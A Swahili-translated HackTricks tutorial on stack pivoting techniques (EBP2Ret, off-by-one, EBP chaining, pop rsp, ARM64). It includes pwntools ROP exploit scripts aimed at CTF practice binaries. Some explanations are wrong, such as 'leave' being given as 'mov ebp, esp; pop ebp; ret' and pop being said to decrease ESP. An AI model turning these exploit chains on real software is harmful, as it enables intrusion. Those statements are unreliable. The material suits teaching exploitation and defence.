12 KiB
Stack Pivoting - EBP2Ret - EBP chaining
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa Msingi
Mbinu hii inatumia uwezo wa kudhibiti Msingi wa Alama (EBP) ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya daftari la EBP na mfuatano wa maagizo ya leave; ret
.
Kama kumbukumbu, leave
kimsingi inamaanisha:
mov ebp, esp
pop ebp
ret
Na kwa kuwa EBP iko kwenye stack kabla ya EIP inawezekana kuudhibiti kwa kudhibiti stack.
EBP2Ret
Tekniki hii ni muhimu hasa unapoweza kubadilisha kisajili cha EBP lakini huna njia moja kwa moja ya kubadilisha kisajili cha EIP. Inatumia tabia ya kazi wakati zinaisha kutekelezwa.
Ikiwa, wakati wa utekelezaji wa fvuln
, unafanikiwa kuingiza fake EBP kwenye stack inayoashiria eneo kwenye kumbukumbu ambapo anwani ya shellcode yako inapatikana (pamoja na byte 4 kuhesabu operesheni ya pop
), unaweza kudhibiti EIP kwa njia isiyo ya moja kwa moja. Wakati fvuln
inarudi, ESP inawekwa kwenye eneo lililoundwa hili, na operesheni inayofuata ya pop
inapunguza ESP kwa 4, kufanya iweze kuashiria anwani iliyohifadhiwa na mshambuliaji hapo.
Tambua jinsi unavyohitaji kujua anwani 2: Moja ambapo ESP itaenda, ambapo utahitaji kuandika anwani inayoashiriwa na ESP.
Ujenzi wa Utekaji
Kwanza unahitaji kujua anwani ambapo unaweza kuandika data/anwani za kiholela. ESP itaashiria hapa na kutekeleza ret
ya kwanza.
Kisha, unahitaji kujua anwani inayotumiwa na ret
ambayo ita tekeleza kanuni za kiholela. Unaweza kutumia:
- Anwani halali ya ONE_GADGET.
- Anwani ya
system()
ikifuatiwa na byte 4 za taka na anwani ya"/bin/sh"
(x86 bits). - Anwani ya kifaa cha
jump esp;
(ret2esp) ikifuatiwa na shellcode ya kutekelezwa. - Baadhi ya mnyororo wa ROP.
Kumbuka kwamba kabla ya anwani yoyote hizi katika sehemu iliyodhibitiwa ya kumbukumbu, lazima iwe na 4
byte kwa sababu ya sehemu ya pop
ya maelekezo ya leave
. Inawezekana kutumia 4B hizi kuweka fake EBP ya pili na kuendelea kudhibiti utekelezaji.
Utekaji wa Off-By-One
Kuna toleo maalum la tekniki hii linalojulikana kama "Utekaji wa Off-By-One". Hutumiwa unapoweza kubadilisha byte ya thamani ndogo zaidi ya EBP. Katika kesi kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kusonga kwenda na ret
lazima iwe na byte tatu za kwanza na EBP, kuruhusu udanganyifu kama huo chini ya hali zilizozuiwa zaidi.
Kawaida, inabadilishwa byte 0x00 ili kusonga mbali iwezekanavyo.
Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kuifanya iwezekane zaidi kwamba ESP mpya inaashiria ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
EBP Chaining
Hivyo, kwa kuweka anwani iliyodhibitiwa kwenye kuingia ya EBP
ya stack na anwani ya leave; ret
katika EIP
, inawezekana kuhamisha ESP
kwenye anwani iliyodhibitiwa ya EBP
kutoka kwenye stack.
Sasa, ESP
inadhibitiwa ikiashiria anwani inayotakiwa na maelekezo inayofuata ya kutekelezwa ni RET
. Ili kutumia hii, inawezekana kuweka mahali pa ESP iliyodhibitiwa hivi:
&(EBP bandia inayofuata)
-> Pakia EBP mpya kwa sababu yapop ebp
kutoka kwa maelekezo yaleave
system()
-> Kuitwa naret
&(leave;ret)
-> Kuitwa baada ya mfumo kumaliza, itahamisha ESP kwa EBP bandia na kuanza tena&("/bin/sh")
-> Param kwasystem
Kimsingi njia hii inawezesha kuunganisha EBPs bandia kadhaa kudhibiti mtiririko wa programu.
Hii ni kama ret2lib, lakini ni ngumu zaidi bila faida inayoonekana lakini inaweza kuwa ya kuvutia katika hali za kipekee.
Zaidi ya hayo, hapa kuna mfano wa changamoto inayotumia tekniki hii na stack leak kuita kazi ya kushinda. Hii ni mzigo wa mwisho kutoka kwenye ukurasa:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP huenda isitumike
Kama ilivyoelezwa katika chapisho hili, ikiwa binary imekompiliwa na baadhi ya optimizations, EBP kamwe haitadhibiti ESP, hivyo, shambulio lolote linalofanya kazi kwa kudhibiti EBP litashindwa kimsingi kwa sababu halina athari halisi.
Hii ni kwa sababu prologue na epilogue hubadilika ikiwa binary imeoptimize.
- Haijaoptimize:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Imeboreshwa:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Njia nyingine za kudhibiti RSP
Gadget ya pop rsp
Katika ukurasa huu unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilikuwa lazima kuita kazi na vigezo 2 maalum, na kulikuwa na gadget ya pop rsp
na kuna leak kutoka kwenye stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
kifaa cha xchg <reg>, rsp
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Angalia mbinu ya ret2esp hapa:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Marejeo & Mifano Mingine
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_array
entries + calling__libc_csu_fini
(more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP.
ARM64
Katika ARM64, prologue na epilogue ya functions hawaweki na kurejesha SP registry kwenye stack. Zaidi ya hayo, maagizo ya RET
hayarudi kwenye anwani inayoelekezwa na SP, bali kwenye anwani ndani ya x30
.
Hivyo, kwa chaguo-msingi, kwa kudanganya epilogue tu hutaweza kudhibiti SP registry kwa kuandika data fulani kwenye stack. Na hata kama utaweza kudhibiti SP bado utahitaji njia ya kudhibiti x30
register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP inaelekeza rekodi ya fremu
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
{% hint style="danger" %}
Njia ya kufanya kitu kama stack pivoting katika ARM64 itakuwa kuweza kudhibiti SP
(kwa kudhibiti baadhi ya register ambayo thamani yake inapitishwa kwa SP
au kwa sababu fulani SP
inachukua anwani yake kutoka kwenye stack na tuna overflow) na kisha kudanganya epilogue kusoma x30
register kutoka kwa SP
iliyodhibitiwa na RET
kwake.
{% endhint %}
Pia kwenye ukurasa ufuatao unaweza kuona sawa na Ret2esp katika ARM64:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.